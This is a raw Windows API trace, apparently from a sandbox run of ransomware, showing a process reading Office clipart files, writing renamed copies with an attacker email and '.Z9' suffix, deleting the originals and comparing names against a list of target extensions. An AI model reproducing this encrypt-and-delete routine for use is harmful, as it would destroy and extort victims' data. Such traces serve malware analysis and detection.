	[0193.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.459] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.459] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0193.460] GetLastError () returned 0x0
	[0193.460] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0xf00, lpOverlapped=0x0) returned 1
	[0193.464] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xf10, lpOverlapped=0x0) returned 1
	[0193.465] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.465] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.465] SetEndOfFile (hFile=0x398) returned 1
	[0193.465] CloseHandle (hObject=0x398) returned 1
	[0193.465] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.465] SetEndOfFile (hFile=0x394) returned 1
	[0193.466] CloseHandle (hObject=0x394) returned 1
	[0193.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString=".doc") returned 4
	[0193.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString=".docx") returned 5
	[0193.467] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.467] lstrlenW (lpString=".pdf") returned 4
	[0193.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString=".xls") returned 4
	[0193.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.467] lstrlenW (lpString=".xlsx") returned 5
	[0193.467] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.467] lstrlenW (lpString=".ppt") returned 4
	[0193.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString=".zip") returned 4
	[0193.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.467] lstrlenW (lpString=".rar") returned 4
	[0193.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString=".bz2") returned 4
	[0193.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString=".7z") returned 3
	[0193.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString=".dbf") returned 4
	[0193.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString=".1cd") returned 4
	[0193.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.467] lstrlenW (lpString=".jpg") returned 4
	[0193.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString=".doc") returned 4
	[0193.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString=".docx") returned 5
	[0193.468] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.468] lstrlenW (lpString=".pdf") returned 4
	[0193.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString=".xls") returned 4
	[0193.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.468] lstrlenW (lpString=".xlsx") returned 5
	[0193.468] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.468] lstrlenW (lpString=".ppt") returned 4
	[0193.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString=".zip") returned 4
	[0193.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.468] lstrlenW (lpString=".rar") returned 4
	[0193.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString=".bz2") returned 4
	[0193.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString=".7z") returned 3
	[0193.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString=".dbf") returned 4
	[0193.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString=".1cd") returned 4
	[0193.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0193.468] lstrlenW (lpString=".jpg") returned 4
	[0193.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.469] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.469] lstrlenW (lpString="J0099183.WMF") returned 12
	[0193.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.469] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4946) returned 1
	[0193.469] CloseHandle (hObject=0x394) returned 1
	[0193.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0193.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.469] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.469] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0193.470] GetLastError () returned 0x0
	[0193.470] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x1352, lpOverlapped=0x0) returned 1
	[0193.471] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x1360, lpOverlapped=0x0) returned 1
	[0193.486] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.486] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.486] SetEndOfFile (hFile=0x398) returned 1
	[0193.486] CloseHandle (hObject=0x398) returned 1
	[0193.486] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.486] SetEndOfFile (hFile=0x394) returned 1
	[0193.487] CloseHandle (hObject=0x394) returned 1
	[0193.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0193.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.488] lstrlenW (lpString=".doc") returned 4
	[0193.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.488] lstrlenW (lpString=".docx") returned 5
	[0193.488] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0193.488] lstrlenW (lpString=".pdf") returned 4
	[0193.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString=".xls") returned 4
	[0193.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.489] lstrlenW (lpString=".xlsx") returned 5
	[0193.489] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0193.489] lstrlenW (lpString=".ppt") returned 4
	[0193.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString=".zip") returned 4
	[0193.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.489] lstrlenW (lpString=".rar") returned 4
	[0193.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString=".bz2") returned 4
	[0193.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString=".7z") returned 3
	[0193.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString=".dbf") returned 4
	[0193.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString=".1cd") returned 4
	[0193.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString=".jpg") returned 4
	[0193.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.489] lstrlenW (lpString=".doc") returned 4
	[0193.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString=".docx") returned 5
	[0193.489] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0193.489] lstrlenW (lpString=".pdf") returned 4
	[0193.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.489] lstrlenW (lpString=".xls") returned 4
	[0193.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.489] lstrlenW (lpString=".xlsx") returned 5
	[0193.490] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0193.490] lstrlenW (lpString=".ppt") returned 4
	[0193.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.490] lstrlenW (lpString=".zip") returned 4
	[0193.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.490] lstrlenW (lpString=".rar") returned 4
	[0193.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.490] lstrlenW (lpString=".bz2") returned 4
	[0193.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.490] lstrlenW (lpString=".7z") returned 3
	[0193.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.490] lstrlenW (lpString=".dbf") returned 4
	[0193.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.490] lstrlenW (lpString=".1cd") returned 4
	[0193.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0193.490] lstrlenW (lpString=".jpg") returned 4
	[0193.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.490] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.490] lstrlenW (lpString="J0099184.WMF") returned 12
	[0193.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.491] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4118) returned 1
	[0193.491] CloseHandle (hObject=0x394) returned 1
	[0193.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0193.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.491] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.491] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0193.492] GetLastError () returned 0x0
	[0193.492] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x1016, lpOverlapped=0x0) returned 1
	[0193.493] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x1020, lpOverlapped=0x0) returned 1
	[0193.494] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.494] WriteFile (in: hFile=0x398, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.494] SetEndOfFile (hFile=0x398) returned 1
	[0193.494] CloseHandle (hObject=0x398) returned 1
	[0193.495] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.495] SetEndOfFile (hFile=0x394) returned 1
	[0193.495] CloseHandle (hObject=0x394) returned 1
	[0193.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0193.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.496] lstrlenW (lpString=".doc") returned 4
	[0193.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.496] lstrlenW (lpString=".docx") returned 5
	[0193.496] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.496] lstrlenW (lpString=".pdf") returned 4
	[0193.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.496] lstrlenW (lpString=".xls") returned 4
	[0193.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.496] lstrlenW (lpString=".xlsx") returned 5
	[0193.496] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.496] lstrlenW (lpString=".ppt") returned 4
	[0193.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.496] lstrlenW (lpString=".zip") returned 4
	[0193.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.497] lstrlenW (lpString=".rar") returned 4
	[0193.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString=".bz2") returned 4
	[0193.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString=".7z") returned 3
	[0193.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString=".dbf") returned 4
	[0193.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString=".1cd") returned 4
	[0193.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString=".jpg") returned 4
	[0193.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString=".doc") returned 4
	[0193.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString=".docx") returned 5
	[0193.497] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.497] lstrlenW (lpString=".pdf") returned 4
	[0193.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString=".xls") returned 4
	[0193.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.497] lstrlenW (lpString=".xlsx") returned 5
	[0193.497] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.497] lstrlenW (lpString=".ppt") returned 4
	[0193.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.497] lstrlenW (lpString=".zip") returned 4
	[0193.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.497] lstrlenW (lpString=".rar") returned 4
	[0193.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.497] lstrlenW (lpString=".bz2") returned 4
	[0193.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.498] lstrlenW (lpString=".7z") returned 3
	[0193.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.498] lstrlenW (lpString=".dbf") returned 4
	[0193.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.498] lstrlenW (lpString=".1cd") returned 4
	[0193.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0193.498] lstrlenW (lpString=".jpg") returned 4
	[0193.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.498] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0193.498] lstrlenW (lpString="J0099185.JPG") returned 12
	[0193.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.498] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3282) returned 1
	[0193.498] CloseHandle (hObject=0x394) returned 1
	[0193.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
